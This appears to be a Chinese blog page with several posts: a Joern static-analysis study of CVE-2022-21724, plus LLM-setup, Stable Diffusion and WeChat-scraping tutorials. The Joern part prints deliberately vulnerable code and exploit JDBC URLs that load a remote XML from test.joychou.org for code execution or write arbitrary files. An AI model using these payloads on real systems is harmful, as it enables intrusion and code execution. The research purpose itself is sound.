2
3
4
5
6
7
8
9
10
# pom.xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>

# for application.properties
management.security.enabled=true
security.user.name=admin
security.user.password=admin

哪怕不是用这个鉴权组件但也大同小异,关闭敏感端点之类的。

而问题回到Joern上,Joern虽然定义了ConfigFile节点,但并没有读取所有的配置文件,包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。

img

即便是读取了application.properties这个文件,但ConfigFile节点只有文件内容,并没有对所有的配置做分析转化。而且有时候configFile就是完全空的,也不知道问题在哪。

img

这个处理方式虽然很奇怪但也算能理解,Joern作为一个静态分析代码的框架,他的理念就是把上层和下层做拆分,下层只需要把代码转成CPG,上层只需要在CPG上做数据分析。

对于Joern来说,上层和下层没有直通渠道,非代码层面的信息则会被忽略掉,而专注于代码层面,这是Joern的设计理念,但同样是Joern的局限性。

  • 一方面由于没有pom.xml的数据,所以无法判断Acutators是否开启,且无法判断版本。
  • 从SpringBoot 2.X开始,端点默认只暴露health和info,需要从配置文件里获取开启的端点,不一定能读到这个配置文件内容
  • Acutators这个问题核心其实是不能未授权+向公网暴露,而这个鉴权配置也是从配置文件里读到的
1
cpg.configFile.name(".*application.properties").where(_.content(".*management.security.enabled=false.*")).l
  • Acutators暴露的实际影响其实和依赖的组件有关系,比如配合eureka才有xtream反序列漏洞,而没有依赖组件数据,所以也无从判断。

postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

1
2
9.4.1208 <= org.postgresql.postgresql < 42.2.25
42.3.0 <= org.postgresql.postgresql < 42.3.2

PostgreSQL的jdbc url属性可控时,可以通过authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例

  • 漏洞代码
1
2
3
4
5
6
7
@RequestMapping("/postgresql")
public void postgresql(String jdbcUrlBase64) throws Exception{
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
String jdbcUrl = new String(b);
log.info(jdbcUrl);
DriverManager.getConnection(jdbcUrl);
}

其实漏洞点的Joern的公式特别简单,说白了就是只要jdbc的连接链接可控就行了。

1
2
3
def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter

def sink = cpg.call.name("getConnection")

直接寻找source和sink之间的数据流

1
sink.reachableByFlows(source).p

img

可以发现我们找到了包括目标在内的5条数据流,这里的第一个问题是,我们没法确定jdbc是否支持postgreSQL来作为数据库。

在确定了入口可控之后,理论上配合组件版本其实我们就可以判断代码中是否存在该问题了,但我们并没有这个数据。

for PostgreSQL code

当然在静态分析的层面,我们需要从代码的角度验证漏洞存在,我们遇到的第二个问题自然是利用链的问题,所以我们需要直接去分析postgresql的组件代码

1
importCode("D:/program/java_pro/postgresql-42.3.1.jar", "postgresql")

当我们可控jdbc的连接的时候,我们就可以通过构造类似的请求来调用不同类的方法来实现我们想要的结果。

1
2
3
4
5
6
7
8
9
10
11
# 命令执行
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://test.joychou.org/1.xml

# 配合FileOutputStream操作文件
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt

# sslfactory&sslfactroyarg,任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml

# loggerLevel&loggerFile,任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test

这里具体的利用链我们就不重复讲了,可以直接参考上面的链接,重要的是我们怎么在joern中复现这个问题。

我们拿第一个漏洞socketFactory&socketFactoryArg的利用链作为目标来看看

img

从getConnection方法处,jdbc会根据不同的请求分发至不同的组件

img

从connect方法一路跟进org.postgresql的代码当中,链接之后的参数会被拆解为字典然后分别进入不同的配置中,也就是说等于到url这里我们就是可控的,也就是作为source,进到包里的这个入口是connect方法

img

1
def source = cpg.method.name("connect")

img最终导致漏洞的核心点则是可控的newInstance

img

所以我们假定调用方法newInstance是sink点可以用caller获取调用该方法的地方,也是可以读到我们目标类方法的。

img

1
def sink = cpg.method.name("newInstance")

到这里我们会遇到一个比较大的问题,当我们试图用简单的reachableByFlows时,会无法获取到结果。

img

但如果我们手动去一步一步拆解caller,发现是可以一路跟到source节点的。

1
cpg.method.name("newInstance").repeat(_.caller)(_.maxDepth(10)).name("connect").fullName.dedup.l

img

repeat这个语法问题相当多,如果用repeat…until…这个语法,很大概率会卡死,几乎跑realworld代码没有不卡死的,所以我改用了限制maxDepth+条件判断的方式来查询,还算可以解决。

当然这样只能拿到最终的节点,我们可以用一个文档里没写的overflowdb语法enablePathTracking来展示调用链,这部分内容我是从@Lightless的博客偷来的。

1
cpg.method.name("newInstance").enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name("connect").path.map(path=>path.filter(n=>n.isInstanceOf[Method]).map(n=>{val nn = n.asInstanceOf[Method];nn.fullName})).dedup.l

img

当然,由于enablePathTracking的表现力很差,所以我们也可以用自己实现一套repeat,来解决重复调用等各种问题,这个代码同样来自于@LightLess。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = {
var nextBuffer: List[Vector[Method]] = List()
var finalResult: List[Vector[Method]] = List()
var results: List[Vector[Method]] = List()
val stopList = stopStep.l
val stopIdList = stopList.map(n => n.id).l
println("stopList.size:" + stopList.size)
println("stopIdList: " + stopIdList)

for (idx <- 1 to maxIdx) {
// 第一次查找,使用初始条件作为起始
if (idx == 1) {
for (it <- initStep) {
finalResult = finalResult :+ Vector(it)
}
}

// 处理 finalResult 中的每一条路径,取每条 path 的最后一项调用 caller
for (eachPath <- finalResult) {

var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => {
n.asInstanceOf[Method].id
}).l

var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup
for (newNode <- newNodes) {
// 检查 newPath 是否存在环,如果存在,则跳过,如果不存在,加到结果列表中
if (!eachPathIdList.contains(newNode.id)) {
val newPath = eachPath :+ newNode
nextBuffer = nextBuffer :+ newPath

// 检查是否满足终结条件,如果满足,就加到resutls里
if (stopIdList.contains(newNode.id)) {
results = results :+ newPath
}
}
}
}

// 所有的路径都处理完了,结果放在 nextBuffer 中
finalResult = nextBuffer
nextBuffer = List()
}
return results
}

这个findUntil实现了repeat…untail…times的功能,而且也做了一定的去重和优化

1
2
3
4
def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

img

虽然这里的函数调用链是正确的,但这里面有个很大的区别就是,通过repeat获取的节点非常粗暴,并不一定是成数据流。

拿下面这段代码举例子,理论上来说数据流分析应该从ctor开始一点一点往上,一直找到classname参数,然后再到方法instantiate,但如果直接用caller会直接获取到instantiate方法,也就是直接到父节点

img

但事实上如果数据流追不到参数,实际上是数据流是不通的,这种方式太粗暴,有效度也不会太高。连数据流分析的层面都到不了,更别谈过程间分析了。

最关键的是,仔细研究后感觉这部分在joern中坑相当大,说白了就是Joern的CPG结构中其实没有这种执行流概念,节点之间链接只有AST指向,边的特性也没有明确的显示。

img

用比较通俗的话讲,就是CPG更强调调用关系,就比如调用NewInstance方法的位置属于方法Instantiate的子节点,而具体到代码块执行流程,则只是简单的AST指向关系除了有向边以外,也没有显示这种指向关系的特殊性。

img

这方面的问题需要再花时间研究一下,这篇文章先不深入去讲。后面专门写文章研究这部分。

其他利用链

我们仿照第一个利用链的语法,直接模拟一下其他几个利用链的挖掘方式

  • 任意代码执行 sslfactory/sslfactoryarg
1
2
# sslfactory&sslfactroyarg,任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml

对应的利用链其实和上一个是一样的,入口都是connect,漏洞点都是newinstance,这条利用链用上面的代码就可以查询到

1
2
3
4
def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

img

  • 任意文件写入 loggerLevel/loggerFile
1
2
# loggerLevel&loggerFile,任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test

这个漏洞的利用链相对特殊,其实是利用了logger本身的功能,通过配置log写入的文件来实现任意文件写

img

这里类初始化的操作在joern被标记为,所以sink为

1
cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))

img

这样我们再次追利用链

1
2
3
4
def sink = cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

img

完善利用链

找到可控的**newInstance位置**之后,我们还需要继续完善利用链的最后一步。

img

根据我们刚才找到的漏洞位置,我们需要找到一个对应的构造方法参数为一个String的类来做进一步利用。

在Joern中可以通过寻找构造函数的关键字,再限制方法的返回类型来寻找这样的类.

1
cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(".*:void\\(java.lang.String\\).*").fullName.l

img

当然这里找到的类是不全的,这里的问题和前面类似。Joern不会解jar包里的jar包,所以无法跟进去分析整个项目的依赖,自然也就没办法找到完整的利用点,这里不赘述了

修复

这个漏洞的修复也相当粗暴,在我们找到的最终执行命令的初始化任意类的地方,新版本直接指定获取的类名必须是指定类的子类,直接限制了后续的利用条件

img

🔲 ☆

打造自己的AIGC应用(一)入门篇

其实细数AI的发展历程非常之久,而让AI的应用一下子出现在人们眼前的其实就是ChatGPT的出现,这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现,大量的开源大模型也如雨后春笋一样出现。就现在而言,打造一个自己的AIGC应用已经非常简单了

基础环境

我们需要配置一个环境

  • python3.8+,不要太新
  • CUDA+环境
  • pytorch
  • 支持C++17的编译器

首先我比较推荐你配置一个anaconda的环境,因为pytorch的其他安装方法真的很麻烦

然后你需要安装CUDA的环境,正常来说只需要下载对应的CUDA版本即可

然后就是安装pytorch的环境,这个环境比较麻烦,正常来说通过conda来安装是比较靠谱的办法,当然有些时候就是安不了。

img

如果安装不成功,就只能用源码来编译了。

首先,clone一下源码

1
2
3
4
5
git clone --recursive https://github.com/pytorch/pytorch
cd pytorch
# if you are updating an existing checkout
git submodule sync
git submodule update --init --recursive

然后安装一下对应的各种依赖

1
2
3
4
5
6
7
8
conda install cmake ninja
# Run this command from the PyTorch directory after cloning the source code using the “Get the PyTorch Source“ section below
pip install -r requirements.txt

conda install mkl mkl-include
# Add these packages if torch.distributed is needed.
# Distributed package support on Windows is a prototype feature and is subject to changes.
conda install -c conda-forge libuv=1.39

然后windows的源码编译有点儿复杂,具体要参考各种情况下的编译

在编译这个pytorch这个东西的时候我遇到过贼多问题,其中大部分问题我都搜不到解决方案,最终找到的最靠谱的方案是,不能用太低或者太高版本的python,会好解决很多,最终我选择了用3.10版本的python,解决了大部分的问题。

另外就是如果gpu不是很好或者显存不是很高,也可以使用cpu版本,大部分电脑的内存都会比较大,起码能跑起来。

如果是windows,那一定会用到huggingface,有个东西我建议一定要注意下。

默认的huggingface和pytorch的缓存文件夹是在~/.cache/下,是在c盘下面,而一般LLM的模型文件都贼大,很容易把C盘塞满,这个注意要改下。

在环境变量里加入**HF_HOME和TORCH_HOME ,设**置为指定变量即可。

img

除此之外,有的项目也会提供docker化的部署方案,如果采用这种方案,就必须在宿主机安装NVIDIA Container Toolkit,并重启docker

1
2
3
sudo apt-get install -y nvidia-container-toolkit-base
sudo systemctl daemon-reload
sudo systemctl restart docker

进阶构成

LLM

LLM全称**Large Language Model,大语言模型,是以ChatGPT为代表的ai对话核心模块,相比我们无法控制、训练的ChatGPT,也逐渐在出现大量的开源大语言模型,尤其是以ChatGLM、LLaMA**为代表的轻量级语言模型相当好用。

虽然这些开源语言模型相比ChatGPT差距巨大,但深度垂直领域的ai应用也在逐渐被人们所认可。与其说我们想要在开源世界寻找ChatGPT的代替品,不如说这些开源大语言模型的出现,意味着我们有能力打造自己的GPT。

目前中文领域效果最好,也是应用最多的开源底座模型。大部分的中文GPT二次开发几乎都是在这个模型的基础上做的开发,尤其是2代之后进一步拓展了基座模型的上下文长度。最厉害的是它允许商用。

MOSS是一个支持中英双语和多种插件的开源对话语言模型,moss-moon系列模型具有160亿参数,在FP16精度下可在单张A100/A800或两张3090显卡运行,在INT4/8精度下可在单张3090显卡运行。MOSS基座语言模型在约七千亿中英文以及代码单词上预训练得到,后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。

一系列基于RWKV架构的Chat模型(包括英文和中文),发布了包括Raven,Novel-ChnEng,Novel-Ch与Novel-ChnEng-ChnPro等模型,可以直接闲聊及进行诗歌,小说等创作,包括7B和14B等规模的模型。

LLM的基座模型说实话有点儿多,尤其是在最开始的几个开源之后,后面各种LLM基座就像雨后春笋一样出现了,比较可惜的是目前的的开源模型距离ChatGPT的差距非常之大,大部分的模型只能达到GPT3的级别,距离GPT3.5都有几个量级的差距,更别提GPT4了。

给大家看一个通过一些标准排名出来的LLM排行榜,这个说法比较多,一般就是看样本集的覆盖程度。

img

Embedding

Embedding 模型也是GPT的很重要一环,在之前的文章里曾经提到过。由于GPT的只能依赖对话的模式受限于上下文的长度。

所以也就衍生出了不少的开源Embedding模型

img

gradio

gradio是一个非常有名的机器学习用于数据演示的web框架。通过gradio可以快速的构建一个可以实时交互的web界面。有点儿像flask

img

首先要注意gradio最起码python在3.8版本以上.

1
2
3
4
5
6
7
8
import gradio as gr

def greet(name):
return "Hello " + name + "!"

demo = gr.Interface(fn=greet, inputs="text", outputs="text")

demo.launch()

img

gradio支持非常多这类的常用场景,就比如文本、勾选框、输入条,甚至文件上传、图片上传,都有非常不错的原生支持。

img

FastChat

FastChat是一个在LLM基础上构筑的一体化平台,FastChat是基于LLaMA做的二次调参训练。

1
pip3 install fschat

正常使用需要用机器生成Vicuna模型,将LLaMa weights合并Vicuna weights。而这个过程需要大量的内存和CPU,官方给出的参考数据是

  • Vicuna-7B:30 GB of CPU RAM
  • Vicuna-13B:60 GB of CPU RAM

如果没有足够的内存用,可以尝试下面两个办法来操作一下:

1、在命令中加入–low-cpu-mem,这个命令可以把峰值内存降到16G以下

2、创建一个比较大的交换分区让操作系统用硬盘作为虚拟内存

1
2
3
4
5
6
7
8
9
python3 -m fastchat.model.apply_delta \
--base-model-path /path/to/llama-7b \
--target-model-path /path/to/output/vicuna-7b \
--delta-path lmsys/vicuna-7b-delta-v1.1

python3 -m fastchat.model.apply_delta \
--base-model-path /path/to/llama-13b \
--target-model-path /path/to/output/vicuna-13b \
--delta-path lmsys/vicuna-13b-delta-v1.1

下载完模型文件之后,可以快捷的使用对应的模型

1
python3 -m fastchat.serve.cli --model-path lmsys/fastchat-t5-3b-v1.0

相比其他的基座模型LLM,FastChat的平台化程度就比较高了。

首先提供了controller和model worker分别部署的方案,一对多的方案本身比较符合项目化的结构。

1
2
3
python3 -m fastchat.serve.controller

python3 -m fastchat.serve.model_worker --model-path /path/to/model/weights

而且同样利用gradio构建了相应的web界面

1
python3 -m fastchat.serve.gradio_web_server

除此之外FastChat还提供了和openai完全兼容的api接口和restfulapi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import openai
openai.api_key = "EMPTY" # Not support yet
openai.api_base = "http://localhost:8000/v1"

model = "vicuna-7b-v1.3"
prompt = "Once upon a time"

# create a completion
completion = openai.Completion.create(model=model, prompt=prompt, max_tokens=64)
# print the completion
print(prompt + completion.choices[0].text)

# create a chat completion
completion = openai.ChatCompletion.create(
model=model,
messages=[{"role": "user", "content": "Hello! What is your name?"}]
)
# print the completion
print(completion.choices[0].message.content)

甚至可以直接以api的方式接入到其他的平台中,完成度很高。

知识库文件

知识库文件是langchain类方案中比较重要的一环,所有的问题会先进入知识库中搜索结果然后再作为上下文,知识库文件的数据量会直接影响到这类应用的结果有效度。而现在比较常见的相似度检测用的都是faiss,构建向量数据库用于数据比对。

知识库数据FAISS向量
中文维基百科截止4月份数据,45万链接:https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn 提取码:l3pn
截止去年九月的130w条中文维基百科处理结果和对应faiss向量文件链接:https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij 提取码:exij
💹 大规模金融研报知识图谱链接:https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv 提取码:ujjv

相应的现在很多应用还内置了用于测试知识库的接口,比如langchain-ChatGLM

img

通过微调知识相关度的阈值,可以让回答消息更有效。你甚至可以直接在平台新建知识库并录入数据。

img

langchain

langchain是现在成熟度比较高的一套Aigc应用,现在比较主流的一种知识库检索方案,用的是曾经的文章中提到过的基于上下文的训练方案,用户输出会先进入数据库检索,然后找出最匹配问题的部分结果然后和问题一起加入到prompt的上下文中,最终由LLM生成最终的回答

img

这个方案是目前最经典的知识库型训练方案,最有效的解决了大模型本身训练的难度和反馈结果的有效度难以兼容的问题。

建立在langchain的思想上,其实衍生了非常多比较有意思的项目,一方面引用了包括ChatGLM-6B等各种开源的大模型,也用了开源的embedding方案来处理文本。

img

另一方面呢也做了比较成熟的vue前端+知识库,可以快速的拼凑出可用的chat ai。

langchain-ChatGLM

langchain-ChatGLM是诸多langchain方案中中文支持实现的比较好的一个,过程包括加载文件 -> 读取文本 -> 文本分割 -> 文本向量化 -> 问句向量化 -> 在文本向量中匹配出与问句向量最相似的**top k个 -> 匹配出的文本作为上下文和问题一起添加到prompt中 -> 提交给LLM**生成回答

整个项目中的每个部分都可以一定程度的自由组合,Embedding 默认选用的是 GanymedeNil/text2vec-large-chinese,LLM 默认选用的是 ChatGLM-6B。或者也可以通过fastchat来接入。

img

配置完成并安装好环境之后,就可以运行,首次运行会下载对应的大模型。

img

当然,这个模型实在是太大了,命令行下载的时候非常容易出问题,所以可以参考ChatGLM-6B的方案,自己下载模型然后再加载。

比较靠谱的就是先下模型实现,然后再单独下载模型并覆盖所有的文件

1
GIT_LFS_SKIP_SMUDGE=1 git clone https://huggingface.co/THUDM/chatglm-6b

然后需要修改对应的配置文件中模型的位置,在configs/model_config.py

img

默认的知识库文件路径是

1
knowledge_base\samples

如果想用自用的本地知识文件,放在对应目录的knowledge_base即可。现在的知识库文件会遍历目录下的文件,所以指定目录即可。

1
python cli_demo.py

img

1
python3.10 .\webui.py

img

🔲 ⭐

赛博偶像速成指南(二)- SD进阶篇

在第一篇关于AI绘图的文章中,我主要介绍了stable diffusion的各种使用方法

在midjounry收费之后,除非你对AI绘图这个操作本身有强需求,否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。

这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。

在线部署stable diffusion

AI相关的东西都有一个很大的共同点就是对GPU的算力要求太高,相比在服务器上运行,更靠谱的方案是在本地电脑上跑,比起动辄5、6位数的服务器,一个入门级的4070ti就已经能应对大量的ai训练场景了。

在Google Colab白嫖GPU

但有个很特殊的东西是Google Colab,这是Google提供的免费GPU算力

img

现在有很多现成的脚本可以允许你一键部署脚本,就比如

点击打开之后,先点击右上角的连接,会随机分配一个机器给你

img

连接成功就会变成绿色

img

免费的计算单元式有限的,你也可以考虑升级Colab Pro或者Pro+来获得稳定的计算资源。Colab Pro的价格是大概每月75.

img

在登陆成功并里连接好机器之后,你就可以按照步骤逐步点击操作,每一步点开箭头按钮即可

img

这里需要下载的各种内容都会直接下载到你账号对应的Google云端硬盘。

然后是一些比较重要的设置,首先基础的模型包中选择合适的模型,在上篇文章提到过Chilloutmix是一个人像的写实通用模型,正常来说我们都会选择这个。

img

当然,如果你想要下载其他模型,你也可以在这里填入相应的包链接下载。包括后面的LoRa也是一样。其他的大部分内容都不用更改,直接跑完即可。

最后点击运行启动web ui

img

img

然后你就可以直接使用在线版本的stable了,要注意的是免费的colab会有两个问题

1、免费的colab只能连续运行十几小时,再用就必须停一段时间,就又会获得新的免费时间。

2、在使用人数比较多的时候,免费账户可能会申请不到GPU算力。

当然如果你用的是colab pro就不用这么麻烦了。

在Stable diffusion基础上的第三方

其实市面上有很多很多的第三方开发AI绘图工具是基于Stable diffusion做的,其中很多都很好用,适当的付费就可以换来非常好用的工具,就比如Civitai中,你就可以直接点击跳转到第三方网站付费运行相应的模型。

img

除了这些内置的以外,其中有个我感觉比较好用的是Vega AI

img

这个网站已经把Stable diffusion包装成很接近midjounry的工具了,你可以非常简单的选择模型并输出描述文案,并且可以在图片基础上做反复微调,虽然这都是Stable diffusion本身的功能,但不得不说在包装后更好用了。

img

Stable diffusion拓展插件

在上篇文章讲到Stable diffusion本身的各种用法,其实除了本体以外,Stable diffusion还支持拓展插件,可以有非常不错的功能拓展。

Openpose 骨骼绑定

Openpose Editor是一个最近比较流行的骨骼动作编辑插件,你可以直接在下面的链接下载这个插件。

img

通过这个插件,你可以在一定程度上设定生成图片的人物骨骼结构。从而生成指定的图片。

在导入Openpose插件之后,你可以在上面选择Openpose编辑器

img

然后选择简单的骨骼结构之后推导到文生图继续编辑,在左下角勾选启用,和低vram模式,其他的基本不用动。

img

这样就可以跑出来一张指定骨骼样子的图片

img

除了指定骨骼以外,你还可以通过上传图片来解构图片本身的骨骼,然后再用来指定和生成,这个Openpose在生成人物图片的优先级以及效果远比图生图效果要好,尤其是可以很大程度还原图片本身的样式。

在OpenPose编辑器中使用Detect from image获取图片中的人物骨骼

img

然后发送到文生图或者图生图里传入关键字。等待一会儿就会生成对应的图了

img

当然这里这个简单的骨骼绑定还是比较简单的一种,配合适当的ControlNet插件你还可以做到线稿成图、色块成图等等类似的操作。

ChatGPT关键字

其实我觉得Stable diffusion里最不实用的关键点就是正向和负向关键字,关键字系统本身相当复杂而且还只能识别英语,并且里面的优先级问题和竞争问题相当复杂,对于使用者来说,这点就是一个相当大的门槛。反之在midjounry中这方面就做的非常好,你可以用中文描述场景在逐步优化。

而现在,你可以用一个简单的ChatGPT插件来实现类似的功能,在配置上chatgpt的api之后你就可以用GPT3.5来解构和构造关键字。

成功安装之后,可以在设置里找到ChatGPT Utilities,点开并配置Chatgpt 的apikey

img

然后在对应文生图中,script中选择对应的ChatGPT,就会弹出以下的选项卡,我们可以在这里自动生成prompt.

后台会用你设定的ChatGPT apikey去生成图片的prompt

img

然后会生成对应的图

img

当然让chatgpt去生成prompt是比较简单的应用方式,你也可以指定部分prompt,然后进一步生成图片。比如

1
基于 {prompt},生成不同姿势的粉色头发美女

这种情况下,你先去搞一个比较靠谱的prompt,再自定义做修改,就不会像以前一样对超长的prompt无从下手了。当然,我试了几次之后发现,其实chatgpt不太能理解这个预设的prompt,效果没有直接描述场景更好。

img

生成的图有点儿崩了,这里我就打码了

写在最后

在研究Stable diffusion的过程中,真的感觉现在这个东西好成熟,没想到AI革命,很多行业都还没革明白,但再设计圈已经掀起翻天波浪了。下次文章会聊聊另一个神器midjounry

🔲 ⭐

看上去不起眼的微信机器人以及公众号爬虫

互联网发展零零散散都要20多年了,技术发展的重心也一直在演变。今天这篇文章很特别,起因是最近有一些关于微信机器人以及公众号爬虫的需求,本以为这种老透了需求其实现在根本不需要花什么时间精力去搞,结果没想到这个东西在过去的十几年里经过了很多次变化,于是决定记录下这篇文章,一方面是留个技术存档,另一方面也是想看看10年之前的技术相比现在和10年之后发生过又或者会发生什么的变化?

公众号爬虫

公众号爬虫在我看来按理说应该是老掉牙的技术了才对,2012年8月17日,微信公众平台正式向普通用户开放。而正式上线则是8月23日,命名为“官号平台/媒体平台”。

基于搜狗搜索的爬取

微信从制作公众号开始其实意图就是在微信的平台基础上营造一个新的互联网生态,而公众号早期就有搜索和爬虫的问题在,而早期的微信公众号搜索大部分都是基于搜狗搜索制作的。

img

但比较麻烦的问题是,搜狗搜索在使用的过程过程中加入了很多很多限制。

  • 大量请求之后会触发验证码
  • 无法精确搜索指定公众号,输入公众号名会搜出多个公众号,且对应的文章链接是临时链接,几个小时之后会失效。

主要的问题就是后面这个限制,如果爬虫搜到的文章链接都是临时的,那你爬取的结果就只能用作临时处理,这显然不符合大部分人的需求。所以这种爬虫方式已经被废弃了,市面上主流的公众号爬虫都不使用这个方案。

img

2019年后这类爬虫工具纷纷失效

基于中间人的爬取

在搜狗搜索之后,爬虫的从业者又开始想点子了,既然没有办法在互联网上搜索到公众号,那就把视角回到微信上面,基于中间人代理的方式抓取数据。简单来说就是通过mitm来拦截微信中对公众号的请求,并对内容做处理。Github上高星的微信公众号爬虫都是基于这个方案制作的。很可惜的是,哪怕是最新的工具最少都是3年前才更新过。

img

这个爬虫有几个比较大的问题

  • 必须独立使用一台windows服务器去做,因为微信只有win和mac版本,你想要把他跑在线上就必须搞一台windows服务器,而且还必须挂一个微信上去,成本就很高
  • 微信在不知道什么时候做了额外的反爬机制,根据我的搜索应该就是22、23年左右添加的,触发某种反爬机制之后,惩罚从以前的封禁24小时修改成了永久封禁。这个封禁方式也很有意思,他阻止你访问微信公众号的历史列表

img

被封禁的微信账号不能访问公众号的历史文章,不影响其他的任何功能,比较有意思的一点是,这个功能我在新版本的微信中找不到了,换成了一个其他的页面。

img

如果你尝试使用中间人的方案去爬微信公众号的文章,那么你会在触发反爬规则之后被阻止访问触发规则的页面(我猜测是这样,我被封了3个号都没找到被封的具体原因),这样的话可以最小限度的避免对普通用户的影响,毕竟普通用户刷微信公众号的频率也很高。但事实则是,由于我们无法访问历史文章列表,即便我们还可以读取文章内容,但也无法实现自动更新了。

基于微信公众号的爬取

其实到上一个方案已经涵盖了99%的主流方案了,现在随便搜一搜微信公众号爬虫基本都是3年前左右的东西基本都是基于中间人做的,这也给了我很大的困扰,我不知道是不是真的有现在还能用的工具,但我的确找不到一个很靠谱的方案。

在我努力挖掘下,我找到了一些零散的接口,可以用来获取某些信息。

不知道大家有没有用过微信公众号的后台,新建草稿箱里插入超链接可以引入微信公众号的链接。

img

选择公众号之后可以通过下面的文章列表来查看,这里可以获取到所有的文章链接,然后再利用前面的中间人方案爬取文章内容。

img

这个方案最大的问题就是cookie会失效,不是全自动,就是需要每隔几天更新一次cookie还是挺麻烦的。

并且公众号的这个功能也有反爬,相比单篇的页面内容爬取,公众号的这个功能使用频率更低,你可能需要设置3分钟以上。但总得来说起码可以实现我们的目的。

img

爬虫本身

前面零零散散的讲了很多方案,现在我们把视角转回到这个事情本身上,看看问题的难点到底在哪里。

首先,爬虫的第一部分就是,标志微信公众号的东西是什么?

微信公众号和微信不太一样,没有微信号之类的存在,所谓公众号名呢更是可以修改,所以在公众号的体系下引入了名为biz的标志码,当我们随便打开一篇微信文章,就可以从源代码里搜到这个标志码。

img

这个base64编码过后的字符串就是微信公众号的id,通过__biz可以获取微信公众号的很多内容,其中就包括微信公众号的信息。在之前的很多文章当中,大量的引入了使用biz获取微信公众号信息的方案。

img

但不知道从何时开始,微信在这个页面加入了对应的限制,如果浏览器直接访问会返回。

img

这里插入一个笑话,我在搜索相关资料的时候看到的。:>

img

网上搜索到的信息到这里基本都是错的,事实上在现在微信的防护策略里面,是对页面的分级策略的,在pc版本的微信打开的每一个弹出窗口,大部分都是web页面,其中的区别是,点击链接只是单纯的使用内置浏览器打开页面,而点击内置功能,则可能使用在中间加入额外的限制以及权限验证,就比如前面的链接,就是验证了微信账户,如果没有相应的权限则返回”请在微信客户端打开链接”,这点可以用一个特殊的方式来验证。

1
Wechat.exe -remote-debugging-port=9222

通过加参数的方式打开微信并登录之后,随便打开一个页面,并访问http://127.0.0.1:9222/json,我们可以在返回中找到对应的链接,这个接口是webdriver的CEF协议接口。

img

img

而更大的问题在于,这套老版本pc微信被废弃了,新版本的微信废弃了这部分的实现方案

我用了一些方案去调新版本的微信,我发现解决问题的难度已经远大于问题本身,于是,解决问题的方案还是回到老版本的方案中。

微信机器人

qq机器人

相比公众号爬虫来说,可能微信机器人对于很多人都是一个远古的记忆。比起微信机器人来说,其实大家了解更多的可能是qq机器人,又或者是基于微信公众号或者企业微信使用的机器人,再到后来大家比较熟知的类似于飞书机器人。但微信机器人其实是一个相对比较空白的场景,主要是定位的区别。

qq机器人的发展史及其复杂,早期的qq技术力比较弱,很多qq机器人的用的都是直接逆向qq用底层的接口实现的。甚至早期有大量的qq机器人就是直接用qq的接口重写实现。

到中期,以酷Q为代表的基于Docker和wine实现的酷Q on Docker成为更稳定和主流的实现方案,当然,在2020年由于腾讯的执法追责,酷Q下线,很多第三方QQ机器人就此结束。

img

当然除了早期的各种机器人以外,还有很多至今为止仍然好用的东西,其中一个很有名的就是mirai。

与此同时,QQ也推出了内置的机器人接口,甚至也推出了官方机器人可以直接添加到qq群里,除了qq群还有qq频道的专属机器人,开发者可以直接用官方的平台来定制化机器人实现。

img

相比QQ漫长而又复杂的变化来讲,其实微信机器人的演化更为粗暴。

微信机器人演化

早期的微信机器人大部分都是基于微信web版本

img

既然有方案,那自然也就有相对的方案,一个是web版本的微信在后续的更新中删除了很多很多功能,基本没剩下什么接口了,而且cookie的过期时间也被加速了,几个小时就会掉。另一个是现在权重低的微信号(小号、新注册的)根本就没办法登录web版本的微信,所以这个方案在后续的演化中被放弃了。

微信官方接口

类似QQ,微信相对的也拆分出了很多场景,在微信中承担交互作用的是公众号、订阅号、小程序。而公众号、订阅号和小程序都有相应的api和平台用于实现自动回复以及交互功能。

img

之前比较主流的机器人+扫描器场景,其实都是在这个基础上实现的交互方案,这个东西有api可以用,也有很成熟的库可以直接调。企业微信也提供了自建应用的方案来实现类似的功能

